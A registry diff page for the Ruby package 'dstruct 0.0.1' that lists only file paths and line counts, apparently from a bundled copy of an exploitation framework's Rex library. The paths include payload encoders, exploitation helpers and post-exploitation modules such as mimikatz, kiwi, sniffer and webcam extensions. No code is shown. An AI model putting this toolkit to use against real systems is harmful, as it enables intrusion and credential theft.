dstruct 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (491) hide show
  1. checksums.yaml +15 -0
  2. data/README.markdown +23 -0
  3. data/examples/smb_example.rb +35 -0
  4. data/lib/rex.rb +108 -0
  5. data/lib/rex/LICENSE +29 -0
  6. data/lib/rex/arch.rb +104 -0
  7. data/lib/rex/arch/sparc.rb +75 -0
  8. data/lib/rex/arch/x86.rb +524 -0
  9. data/lib/rex/assembly/nasm.rb +104 -0
  10. data/lib/rex/codepage.map +104 -0
  11. data/lib/rex/compat.rb +389 -0
  12. data/lib/rex/constants.rb +124 -0
  13. data/lib/rex/elfparsey.rb +9 -0
  14. data/lib/rex/elfparsey/elf.rb +121 -0
  15. data/lib/rex/elfparsey/elfbase.rb +256 -0
  16. data/lib/rex/elfparsey/exceptions.rb +25 -0
  17. data/lib/rex/elfscan.rb +10 -0
  18. data/lib/rex/elfscan/scanner.rb +226 -0
  19. data/lib/rex/elfscan/search.rb +44 -0
  20. data/lib/rex/encoder/alpha2.rb +31 -0
  21. data/lib/rex/encoder/alpha2/alpha_mixed.rb +68 -0
  22. data/lib/rex/encoder/alpha2/alpha_upper.rb +79 -0
  23. data/lib/rex/encoder/alpha2/generic.rb +90 -0
  24. data/lib/rex/encoder/alpha2/unicode_mixed.rb +116 -0
  25. data/lib/rex/encoder/alpha2/unicode_upper.rb +123 -0
  26. data/lib/rex/encoder/bloxor/bloxor.rb +327 -0
  27. data/lib/rex/encoder/ndr.rb +90 -0
  28. data/lib/rex/encoder/nonalpha.rb +61 -0
  29. data/lib/rex/encoder/nonupper.rb +64 -0
  30. data/lib/rex/encoder/xdr.rb +107 -0
  31. data/lib/rex/encoder/xor.rb +69 -0
  32. data/lib/rex/encoder/xor/dword.rb +13 -0
  33. data/lib/rex/encoder/xor/dword_additive.rb +13 -0
  34. data/lib/rex/encoders/xor_dword.rb +35 -0
  35. data/lib/rex/encoders/xor_dword_additive.rb +53 -0
  36. data/lib/rex/encoding/xor.rb +20 -0
  37. data/lib/rex/encoding/xor/byte.rb +15 -0
  38. data/lib/rex/encoding/xor/dword.rb +21 -0
  39. data/lib/rex/encoding/xor/dword_additive.rb +92 -0
  40. data/lib/rex/encoding/xor/exceptions.rb +17 -0
  41. data/lib/rex/encoding/xor/generic.rb +146 -0
  42. data/lib/rex/encoding/xor/qword.rb +15 -0
  43. data/lib/rex/encoding/xor/word.rb +21 -0
  44. data/lib/rex/exceptions.rb +275 -0
  45. data/lib/rex/exploitation/cmdstager.rb +10 -0
  46. data/lib/rex/exploitation/cmdstager/base.rb +190 -0
  47. data/lib/rex/exploitation/cmdstager/bourne.rb +105 -0
  48. data/lib/rex/exploitation/cmdstager/debug_asm.rb +140 -0
  49. data/lib/rex/exploitation/cmdstager/debug_write.rb +134 -0
  50. data/lib/rex/exploitation/cmdstager/echo.rb +164 -0
  51. data/lib/rex/exploitation/cmdstager/printf.rb +122 -0
  52. data/lib/rex/exploitation/cmdstager/tftp.rb +71 -0
  53. data/lib/rex/exploitation/cmdstager/vbs.rb +126 -0
  54. data/lib/rex/exploitation/egghunter.rb +425 -0
  55. data/lib/rex/exploitation/encryptjs.rb +78 -0
  56. data/lib/rex/exploitation/heaplib.js.b64 +331 -0
  57. data/lib/rex/exploitation/heaplib.rb +107 -0
  58. data/lib/rex/exploitation/js.rb +6 -0
  59. data/lib/rex/exploitation/js/detect.rb +69 -0
  60. data/lib/rex/exploitation/js/memory.rb +81 -0
  61. data/lib/rex/exploitation/js/network.rb +84 -0
  62. data/lib/rex/exploitation/js/utils.rb +33 -0
  63. data/lib/rex/exploitation/jsobfu.rb +513 -0
  64. data/lib/rex/exploitation/obfuscatejs.rb +336 -0
  65. data/lib/rex/exploitation/omelet.rb +321 -0
  66. data/lib/rex/exploitation/opcodedb.rb +819 -0
  67. data/lib/rex/exploitation/powershell.rb +62 -0
  68. data/lib/rex/exploitation/powershell/function.rb +63 -0
  69. data/lib/rex/exploitation/powershell/obfu.rb +98 -0
  70. data/lib/rex/exploitation/powershell/output.rb +151 -0
  71. data/lib/rex/exploitation/powershell/param.rb +23 -0
  72. data/lib/rex/exploitation/powershell/parser.rb +183 -0
  73. data/lib/rex/exploitation/powershell/psh_methods.rb +70 -0
  74. data/lib/rex/exploitation/powershell/script.rb +99 -0
  75. data/lib/rex/exploitation/ropdb.rb +190 -0
  76. data/lib/rex/exploitation/seh.rb +93 -0
  77. data/lib/rex/file.rb +160 -0
  78. data/lib/rex/image_source.rb +10 -0
  79. data/lib/rex/image_source/disk.rb +58 -0
  80. data/lib/rex/image_source/image_source.rb +44 -0
  81. data/lib/rex/image_source/memory.rb +35 -0
  82. data/lib/rex/io/bidirectional_pipe.rb +161 -0
  83. data/lib/rex/io/datagram_abstraction.rb +35 -0
  84. data/lib/rex/io/ring_buffer.rb +369 -0
  85. data/lib/rex/io/stream.rb +312 -0
  86. data/lib/rex/io/stream_abstraction.rb +209 -0
  87. data/lib/rex/io/stream_server.rb +221 -0
  88. data/lib/rex/job_container.rb +200 -0
  89. data/lib/rex/logging.rb +4 -0
  90. data/lib/rex/logging/log_dispatcher.rb +180 -0
  91. data/lib/rex/logging/log_sink.rb +43 -0
  92. data/lib/rex/logging/sinks/flatfile.rb +56 -0
  93. data/lib/rex/logging/sinks/stderr.rb +44 -0
  94. data/lib/rex/mac_oui.rb +16581 -0
  95. data/lib/rex/machparsey.rb +9 -0
  96. data/lib/rex/machparsey/exceptions.rb +34 -0
  97. data/lib/rex/machparsey/mach.rb +209 -0
  98. data/lib/rex/machparsey/machbase.rb +408 -0
  99. data/lib/rex/machscan.rb +9 -0
  100. data/lib/rex/machscan/scanner.rb +217 -0
  101. data/lib/rex/mime.rb +10 -0
  102. data/lib/rex/mime/encoding.rb +17 -0
  103. data/lib/rex/mime/header.rb +78 -0
  104. data/lib/rex/mime/message.rb +150 -0
  105. data/lib/rex/mime/part.rb +50 -0
  106. data/lib/rex/nop/opty2.rb +109 -0
  107. data/lib/rex/nop/opty2_tables.rb +301 -0
  108. data/lib/rex/ole.rb +202 -0
  109. data/lib/rex/ole/clsid.rb +44 -0
  110. data/lib/rex/ole/difat.rb +138 -0
  111. data/lib/rex/ole/directory.rb +228 -0
  112. data/lib/rex/ole/direntry.rb +237 -0
  113. data/lib/rex/ole/docs/dependencies.txt +8 -0
  114. data/lib/rex/ole/docs/references.txt +1 -0
  115. data/lib/rex/ole/fat.rb +96 -0
  116. data/lib/rex/ole/header.rb +201 -0
  117. data/lib/rex/ole/minifat.rb +74 -0
  118. data/lib/rex/ole/propset.rb +141 -0
  119. data/lib/rex/ole/samples/create_ole.rb +27 -0
  120. data/lib/rex/ole/samples/dir.rb +35 -0
  121. data/lib/rex/ole/samples/dump_stream.rb +34 -0
  122. data/lib/rex/ole/samples/ole_info.rb +23 -0
  123. data/lib/rex/ole/storage.rb +392 -0
  124. data/lib/rex/ole/stream.rb +50 -0
  125. data/lib/rex/ole/substorage.rb +46 -0
  126. data/lib/rex/ole/util.rb +154 -0
  127. data/lib/rex/parser/acunetix_nokogiri.rb +406 -0
  128. data/lib/rex/parser/apple_backup_manifestdb.rb +132 -0
  129. data/lib/rex/parser/appscan_nokogiri.rb +367 -0
  130. data/lib/rex/parser/arguments.rb +108 -0
  131. data/lib/rex/parser/burp_session_nokogiri.rb +291 -0
  132. data/lib/rex/parser/ci_nokogiri.rb +193 -0
  133. data/lib/rex/parser/foundstone_nokogiri.rb +342 -0
  134. data/lib/rex/parser/fusionvm_nokogiri.rb +109 -0
  135. data/lib/rex/parser/group_policy_preferences.rb +185 -0
  136. data/lib/rex/parser/ini.rb +186 -0
  137. data/lib/rex/parser/ip360_aspl_xml.rb +103 -0
  138. data/lib/rex/parser/ip360_xml.rb +98 -0
  139. data/lib/rex/parser/mbsa_nokogiri.rb +256 -0
  140. data/lib/rex/parser/nessus_xml.rb +121 -0
  141. data/lib/rex/parser/netsparker_xml.rb +109 -0
  142. data/lib/rex/parser/nexpose_raw_nokogiri.rb +686 -0
  143. data/lib/rex/parser/nexpose_simple_nokogiri.rb +330 -0
  144. data/lib/rex/parser/nexpose_xml.rb +172 -0
  145. data/lib/rex/parser/nmap_nokogiri.rb +394 -0
  146. data/lib/rex/parser/nmap_xml.rb +166 -0
  147. data/lib/rex/parser/nokogiri_doc_mixin.rb +233 -0
  148. data/lib/rex/parser/openvas_nokogiri.rb +172 -0
  149. data/lib/rex/parser/outpost24_nokogiri.rb +240 -0
  150. data/lib/rex/parser/retina_xml.rb +110 -0
  151. data/lib/rex/parser/unattend.rb +171 -0
  152. data/lib/rex/parser/wapiti_nokogiri.rb +105 -0
  153. data/lib/rex/payloads.rb +2 -0
  154. data/lib/rex/payloads/win32.rb +3 -0
  155. data/lib/rex/payloads/win32/common.rb +27 -0
  156. data/lib/rex/payloads/win32/kernel.rb +54 -0
  157. data/lib/rex/payloads/win32/kernel/common.rb +55 -0
  158. data/lib/rex/payloads/win32/kernel/migration.rb +13 -0
  159. data/lib/rex/payloads/win32/kernel/recovery.rb +51 -0
  160. data/lib/rex/payloads/win32/kernel/stager.rb +195 -0
  161. data/lib/rex/peparsey.rb +10 -0
  162. data/lib/rex/peparsey/exceptions.rb +30 -0
  163. data/lib/rex/peparsey/pe.rb +210 -0
  164. data/lib/rex/peparsey/pe_memdump.rb +61 -0
  165. data/lib/rex/peparsey/pebase.rb +1662 -0
  166. data/lib/rex/peparsey/section.rb +128 -0
  167. data/lib/rex/pescan.rb +11 -0
  168. data/lib/rex/pescan/analyze.rb +366 -0
  169. data/lib/rex/pescan/scanner.rb +230 -0
  170. data/lib/rex/pescan/search.rb +68 -0
  171. data/lib/rex/platforms.rb +2 -0
  172. data/lib/rex/platforms/windows.rb +52 -0
  173. data/lib/rex/poly.rb +134 -0
  174. data/lib/rex/poly/block.rb +480 -0
  175. data/lib/rex/poly/machine.rb +13 -0
  176. data/lib/rex/poly/machine/machine.rb +830 -0
  177. data/lib/rex/poly/machine/x86.rb +509 -0
  178. data/lib/rex/poly/register.rb +101 -0
  179. data/lib/rex/poly/register/x86.rb +41 -0
  180. data/lib/rex/post.rb +7 -0
  181. data/lib/rex/post/dir.rb +51 -0
  182. data/lib/rex/post/file.rb +172 -0
  183. data/lib/rex/post/file_stat.rb +220 -0
  184. data/lib/rex/post/gen.pl +13 -0
  185. data/lib/rex/post/io.rb +182 -0
  186. data/lib/rex/post/meterpreter.rb +5 -0
  187. data/lib/rex/post/meterpreter/channel.rb +446 -0
  188. data/lib/rex/post/meterpreter/channel_container.rb +54 -0
  189. data/lib/rex/post/meterpreter/channels/pool.rb +160 -0
  190. data/lib/rex/post/meterpreter/channels/pools/file.rb +62 -0
  191. data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +103 -0
  192. data/lib/rex/post/meterpreter/channels/stream.rb +87 -0
  193. data/lib/rex/post/meterpreter/client.rb +483 -0
  194. data/lib/rex/post/meterpreter/client_core.rb +352 -0
  195. data/lib/rex/post/meterpreter/dependencies.rb +3 -0
  196. data/lib/rex/post/meterpreter/extension.rb +32 -0
  197. data/lib/rex/post/meterpreter/extensions/android/android.rb +128 -0
  198. data/lib/rex/post/meterpreter/extensions/android/tlv.rb +40 -0
  199. data/lib/rex/post/meterpreter/extensions/espia/espia.rb +58 -0
  200. data/lib/rex/post/meterpreter/extensions/espia/tlv.rb +17 -0
  201. data/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb +71 -0
  202. data/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +169 -0
  203. data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +45 -0
  204. data/lib/rex/post/meterpreter/extensions/extapi/service/service.rb +104 -0
  205. data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +77 -0
  206. data/lib/rex/post/meterpreter/extensions/extapi/window/window.rb +56 -0
  207. data/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb +75 -0
  208. data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +94 -0
  209. data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb +22 -0
  210. data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +361 -0
  211. data/lib/rex/post/meterpreter/extensions/kiwi/tlv.rb +76 -0
  212. data/lib/rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp.rb +78 -0
  213. data/lib/rex/post/meterpreter/extensions/lanattacks/lanattacks.rb +43 -0
  214. data/lib/rex/post/meterpreter/extensions/lanattacks/tftp/tftp.rb +49 -0
  215. data/lib/rex/post/meterpreter/extensions/lanattacks/tlv.rb +17 -0
  216. data/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb +128 -0
  217. data/lib/rex/post/meterpreter/extensions/mimikatz/tlv.rb +16 -0
  218. data/lib/rex/post/meterpreter/extensions/networkpug/networkpug.rb +57 -0
  219. data/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb +16 -0
  220. data/lib/rex/post/meterpreter/extensions/priv/fs.rb +118 -0
  221. data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +61 -0
  222. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +109 -0
  223. data/lib/rex/post/meterpreter/extensions/priv/tlv.rb +29 -0
  224. data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +117 -0
  225. data/lib/rex/post/meterpreter/extensions/sniffer/tlv.rb +27 -0
  226. data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +396 -0
  227. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +284 -0
  228. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +399 -0
  229. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +104 -0
  230. data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +48 -0
  231. data/lib/rex/post/meterpreter/extensions/stdapi/net/arp.rb +59 -0
  232. data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +256 -0
  233. data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +129 -0
  234. data/lib/rex/post/meterpreter/extensions/stdapi/net/netstat.rb +97 -0
  235. data/lib/rex/post/meterpreter/extensions/stdapi/net/resolve.rb +106 -0
  236. data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +67 -0
  237. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +139 -0
  238. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +180 -0
  239. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +168 -0
  240. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +209 -0
  241. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb +38146 -0
  242. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb +48 -0
  243. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_advapi32.rb +2102 -0
  244. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_crypt32.rb +32 -0
  245. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_iphlpapi.rb +97 -0
  246. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3852 -0
  247. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb +100 -0
  248. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ntdll.rb +168 -0
  249. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb +32 -0
  250. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_shell32.rb +32 -0
  251. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_user32.rb +3170 -0
  252. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_version.rb +41 -0
  253. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wlanapi.rb +87 -0
  254. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb +128 -0
  255. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ws2_32.rb +613 -0
  256. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +388 -0
  257. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb +111 -0
  258. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb +149 -0
  259. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb +27 -0
  260. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/mock_magic.rb +515 -0
  261. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +319 -0
  262. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/platform_util.rb +23 -0
  263. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +301 -0
  264. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb +56 -0
  265. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb +106 -0
  266. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +676 -0
  267. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb +96 -0
  268. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +151 -0
  269. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +128 -0
  270. data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +192 -0
  271. data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +41 -0
  272. data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +60 -0
  273. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +408 -0
  274. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +129 -0
  275. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +55 -0
  276. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +336 -0
  277. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +141 -0
  278. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +328 -0
  279. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +193 -0
  280. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +102 -0
  281. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb +188 -0
  282. data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +180 -0
  283. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +236 -0
  284. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +259 -0
  285. data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +201 -0
  286. data/lib/rex/post/meterpreter/inbound_packet_handler.rb +30 -0
  287. data/lib/rex/post/meterpreter/object_aliases.rb +83 -0
  288. data/lib/rex/post/meterpreter/packet.rb +709 -0
  289. data/lib/rex/post/meterpreter/packet_dispatcher.rb +543 -0
  290. data/lib/rex/post/meterpreter/packet_parser.rb +94 -0
  291. data/lib/rex/post/meterpreter/packet_response_waiter.rb +83 -0
  292. data/lib/rex/post/meterpreter/ui/console.rb +142 -0
  293. data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +86 -0
  294. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +383 -0
  295. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +939 -0
  296. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +109 -0
  297. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb +65 -0
  298. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +198 -0
  299. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +444 -0
  300. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb +199 -0
  301. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/window.rb +118 -0
  302. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb +108 -0
  303. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +242 -0
  304. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +509 -0
  305. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks.rb +60 -0
  306. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +254 -0
  307. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp.rb +159 -0
  308. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +182 -0
  309. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/networkpug.rb +232 -0
  310. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +62 -0
  311. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +97 -0
  312. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +52 -0
  313. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +133 -0
  314. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +204 -0
  315. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +66 -0
  316. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +527 -0
  317. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +448 -0
  318. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +906 -0
  319. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +318 -0
  320. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +343 -0
  321. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +99 -0
  322. data/lib/rex/post/permission.rb +26 -0
  323. data/lib/rex/post/process.rb +57 -0
  324. data/lib/rex/post/thread.rb +57 -0
  325. data/lib/rex/post/ui.rb +52 -0
  326. data/lib/rex/proto.rb +15 -0
  327. data/lib/rex/proto/addp.rb +218 -0
  328. data/lib/rex/proto/dcerpc.rb +7 -0
  329. data/lib/rex/proto/dcerpc/client.rb +362 -0
  330. data/lib/rex/proto/dcerpc/exceptions.rb +151 -0
  331. data/lib/rex/proto/dcerpc/handle.rb +48 -0
  332. data/lib/rex/proto/dcerpc/ndr.rb +73 -0
  333. data/lib/rex/proto/dcerpc/packet.rb +264 -0
  334. data/lib/rex/proto/dcerpc/response.rb +188 -0
  335. data/lib/rex/proto/dcerpc/uuid.rb +85 -0
  336. data/lib/rex/proto/dcerpc/wdscp.rb +3 -0
  337. data/lib/rex/proto/dcerpc/wdscp/constants.rb +89 -0
  338. data/lib/rex/proto/dcerpc/wdscp/packet.rb +94 -0
  339. data/lib/rex/proto/dhcp.rb +7 -0
  340. data/lib/rex/proto/dhcp/constants.rb +34 -0
  341. data/lib/rex/proto/dhcp/server.rb +334 -0
  342. data/lib/rex/proto/drda.rb +6 -0
  343. data/lib/rex/proto/drda/constants.rb +50 -0
  344. data/lib/rex/proto/drda/packet.rb +253 -0
  345. data/lib/rex/proto/drda/utils.rb +124 -0
  346. data/lib/rex/proto/http.rb +7 -0
  347. data/lib/rex/proto/http/client.rb +722 -0
  348. data/lib/rex/proto/http/client_request.rb +472 -0
  349. data/lib/rex/proto/http/handler.rb +47 -0
  350. data/lib/rex/proto/http/handler/erb.rb +129 -0
  351. data/lib/rex/proto/http/handler/proc.rb +61 -0
  352. data/lib/rex/proto/http/header.rb +173 -0
  353. data/lib/rex/proto/http/packet.rb +414 -0
  354. data/lib/rex/proto/http/request.rb +354 -0
  355. data/lib/rex/proto/http/response.rb +151 -0
  356. data/lib/rex/proto/http/server.rb +385 -0
  357. data/lib/rex/proto/iax2.rb +2 -0
  358. data/lib/rex/proto/iax2/call.rb +326 -0
  359. data/lib/rex/proto/iax2/client.rb +218 -0
  360. data/lib/rex/proto/iax2/codecs.rb +5 -0
  361. data/lib/rex/proto/iax2/codecs/alaw.rb +16 -0
  362. data/lib/rex/proto/iax2/codecs/g711.rb +2176 -0
  363. data/lib/rex/proto/iax2/codecs/mulaw.rb +17 -0
  364. data/lib/rex/proto/iax2/constants.rb +262 -0
  365. data/lib/rex/proto/ipmi.rb +57 -0
  366. data/lib/rex/proto/ipmi/channel_auth_reply.rb +89 -0
  367. data/lib/rex/proto/ipmi/open_session_reply.rb +36 -0
  368. data/lib/rex/proto/ipmi/rakp2.rb +36 -0
  369. data/lib/rex/proto/ipmi/utils.rb +125 -0
  370. data/lib/rex/proto/natpmp.rb +7 -0
  371. data/lib/rex/proto/natpmp/constants.rb +19 -0
  372. data/lib/rex/proto/natpmp/packet.rb +45 -0
  373. data/lib/rex/proto/ntlm.rb +8 -0
  374. data/lib/rex/proto/ntlm/base.rb +327 -0
  375. data/lib/rex/proto/ntlm/constants.rb +75 -0
  376. data/lib/rex/proto/ntlm/crypt.rb +412 -0
  377. data/lib/rex/proto/ntlm/exceptions.rb +17 -0
  378. data/lib/rex/proto/ntlm/message.rb +534 -0
  379. data/lib/rex/proto/ntlm/utils.rb +765 -0
  380. data/lib/rex/proto/ntp.rb +3 -0
  381. data/lib/rex/proto/ntp/constants.rb +12 -0
  382. data/lib/rex/proto/ntp/modes.rb +130 -0
  383. data/lib/rex/proto/pjl.rb +31 -0
  384. data/lib/rex/proto/pjl/client.rb +163 -0
  385. data/lib/rex/proto/proxy/socks4a.rb +441 -0
  386. data/lib/rex/proto/rfb.rb +13 -0
  387. data/lib/rex/proto/rfb/cipher.rb +82 -0
  388. data/lib/rex/proto/rfb/client.rb +205 -0
  389. data/lib/rex/proto/rfb/constants.rb +50 -0
  390. data/lib/rex/proto/sip.rb +4 -0
  391. data/lib/rex/proto/sip/response.rb +61 -0
  392. data/lib/rex/proto/smb.rb +8 -0
  393. data/lib/rex/proto/smb/client.rb +2064 -0
  394. data/lib/rex/proto/smb/constants.rb +1064 -0
  395. data/lib/rex/proto/smb/crypt.rb +37 -0
  396. data/lib/rex/proto/smb/evasions.rb +67 -0
  397. data/lib/rex/proto/smb/exceptions.rb +867 -0
  398. data/lib/rex/proto/smb/simpleclient.rb +173 -0
  399. data/lib/rex/proto/smb/simpleclient/open_file.rb +106 -0
  400. data/lib/rex/proto/smb/simpleclient/open_pipe.rb +57 -0
  401. data/lib/rex/proto/smb/utils.rb +104 -0
  402. data/lib/rex/proto/sunrpc.rb +2 -0
  403. data/lib/rex/proto/sunrpc/client.rb +196 -0
  404. data/lib/rex/proto/tftp.rb +13 -0
  405. data/lib/rex/proto/tftp/client.rb +344 -0
  406. data/lib/rex/proto/tftp/constants.rb +39 -0
  407. data/lib/rex/proto/tftp/server.rb +497 -0
  408. data/lib/rex/random_identifier_generator.rb +177 -0
  409. data/lib/rex/registry.rb +14 -0
  410. data/lib/rex/registry/hive.rb +132 -0
  411. data/lib/rex/registry/lfkey.rb +51 -0
  412. data/lib/rex/registry/nodekey.rb +54 -0
  413. data/lib/rex/registry/regf.rb +25 -0
  414. data/lib/rex/registry/valuekey.rb +67 -0
  415. data/lib/rex/registry/valuelist.rb +29 -0
  416. data/lib/rex/ropbuilder.rb +8 -0
  417. data/lib/rex/ropbuilder/rop.rb +271 -0
  418. data/lib/rex/script.rb +42 -0
  419. data/lib/rex/script/base.rb +61 -0
  420. data/lib/rex/script/meterpreter.rb +16 -0
  421. data/lib/rex/script/shell.rb +10 -0
  422. data/lib/rex/service.rb +49 -0
  423. data/lib/rex/service_manager.rb +154 -0
  424. data/lib/rex/services/local_relay.rb +424 -0
  425. data/lib/rex/socket.rb +788 -0
  426. data/lib/rex/socket/comm.rb +120 -0
  427. data/lib/rex/socket/comm/local.rb +526 -0
  428. data/lib/rex/socket/ip.rb +132 -0
  429. data/lib/rex/socket/parameters.rb +363 -0
  430. data/lib/rex/socket/range_walker.rb +470 -0
  431. data/lib/rex/socket/ssl_tcp.rb +345 -0
  432. data/lib/rex/socket/ssl_tcp_server.rb +188 -0
  433. data/lib/rex/socket/subnet_walker.rb +76 -0
  434. data/lib/rex/socket/switch_board.rb +289 -0
  435. data/lib/rex/socket/tcp.rb +79 -0
  436. data/lib/rex/socket/tcp_server.rb +67 -0
  437. data/lib/rex/socket/udp.rb +165 -0
  438. data/lib/rex/sslscan/result.rb +201 -0
  439. data/lib/rex/sslscan/scanner.rb +206 -0
  440. data/lib/rex/struct2.rb +5 -0
  441. data/lib/rex/struct2/c_struct.rb +181 -0
  442. data/lib/rex/struct2/c_struct_template.rb +39 -0
  443. data/lib/rex/struct2/constant.rb +26 -0
  444. data/lib/rex/struct2/element.rb +44 -0
  445. data/lib/rex/struct2/generic.rb +73 -0
  446. data/lib/rex/struct2/restraint.rb +54 -0
  447. data/lib/rex/struct2/s_string.rb +72 -0
  448. data/lib/rex/struct2/s_struct.rb +111 -0
  449. data/lib/rex/sync.rb +6 -0
  450. data/lib/rex/sync/event.rb +85 -0
  451. data/lib/rex/sync/read_write_lock.rb +177 -0
  452. data/lib/rex/sync/ref.rb +58 -0
  453. data/lib/rex/sync/thread_safe.rb +83 -0
  454. data/lib/rex/text.rb +1813 -0
  455. data/lib/rex/thread_factory.rb +43 -0
  456. data/lib/rex/time.rb +66 -0
  457. data/lib/rex/transformer.rb +116 -0
  458. data/lib/rex/ui.rb +22 -0
  459. data/lib/rex/ui/interactive.rb +304 -0
  460. data/lib/rex/ui/output.rb +85 -0
  461. data/lib/rex/ui/output/none.rb +19 -0
